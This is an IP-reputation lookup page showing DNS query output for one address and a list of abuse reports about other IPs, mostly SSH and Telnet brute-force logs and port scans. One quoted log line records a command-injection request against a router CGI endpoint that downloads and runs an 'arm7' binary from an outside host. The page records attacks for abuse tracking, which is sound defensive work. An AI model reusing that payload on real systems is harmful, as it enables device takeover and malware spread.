Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.72.54
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57210
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.72.54.			IN	A

;; AUTHORITY SECTION:
.			167	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022021701 1800 900 604800 86400

;; Query time: 59 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 18 02:51:21 CST 2022
;; MSG SIZE  rcvd: 105
Host info
Host 54.72.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 54.72.21.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
58.67.159.122 attack
k+ssh-bruteforce
2020-05-03 01:49:05
222.239.124.19 attackspambots
DATE:2020-05-02 19:33:30, IP:222.239.124.19, PORT:ssh SSH brute force auth (docker-dc)
2020-05-03 01:35:42
88.206.107.239 attackbotsspam
SMB Server BruteForce Attack
2020-05-03 01:44:03
114.67.67.41 attackbots
SSH login attempts.
2020-05-03 02:00:12
94.102.56.181 attackbots
05/02/2020-11:38:36.850702 94.102.56.181 Protocol: 6 ET SCAN NMAP -sS window 1024
2020-05-03 01:18:53
177.129.191.142 attackspambots
May  2 13:56:56 ns382633 sshd\[32021\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=177.129.191.142  user=root
May  2 13:56:57 ns382633 sshd\[32021\]: Failed password for root from 177.129.191.142 port 40533 ssh2
May  2 14:10:07 ns382633 sshd\[2106\]: Invalid user script from 177.129.191.142 port 40959
May  2 14:10:07 ns382633 sshd\[2106\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=177.129.191.142
May  2 14:10:09 ns382633 sshd\[2106\]: Failed password for invalid user script from 177.129.191.142 port 40959 ssh2
2020-05-03 01:17:46
178.255.168.249 attackbotsspam
DATE:2020-05-02 14:09:57, IP:178.255.168.249, PORT:telnet - Telnet brute force auth on a honeypot server (epe-dc)
2020-05-03 01:33:01
96.80.89.253 attack
[01/May/2020:22:17:25 -0400] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh 	
-c 	
'cd 	
/tmp; 	
rm 	
-rf 	
arm7; 	
busybox 	
wget 	
http://192.3.45.185/arm7; 	
chmod 	
777 	
arm7; 	
./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" Blank UA
2020-05-03 01:32:25
114.98.234.214 attackbotsspam
May  2 14:09:52 vpn01 sshd[1143]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=114.98.234.214
May  2 14:09:54 vpn01 sshd[1143]: Failed password for invalid user testftp from 114.98.234.214 port 48226 ssh2
...
2020-05-03 01:37:10
51.255.109.175 attackbotsspam
05/02/2020-13:17:38.881685 51.255.109.175 Protocol: 17 ET CINS Active Threat Intelligence Poor Reputation IP group 51
2020-05-03 01:35:55
170.130.209.147 attackspam
Brute force attempt
2020-05-03 01:46:44
54.218.122.162 attackbots
May  2 17:29:27 server sshd[2459]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=54.218.122.162
May  2 17:29:28 server sshd[2459]: Failed password for invalid user tiina from 54.218.122.162 port 50312 ssh2
May  2 17:32:33 server sshd[2720]: Failed password for root from 54.218.122.162 port 54936 ssh2
...
2020-05-03 02:01:41
64.225.114.125 attackbotsspam
firewall-block, port(s): 2607/tcp
2020-05-03 01:59:48
54.39.98.253 attackbotsspam
SSH authentication failure x 6 reported by Fail2Ban
...
2020-05-03 01:57:15
80.211.45.85 attackspam
May  2 09:51:45 ny01 sshd[10829]: Failed password for root from 80.211.45.85 port 33282 ssh2
May  2 09:54:35 ny01 sshd[11187]: Failed password for root from 80.211.45.85 port 48170 ssh2
2020-05-03 02:00:36

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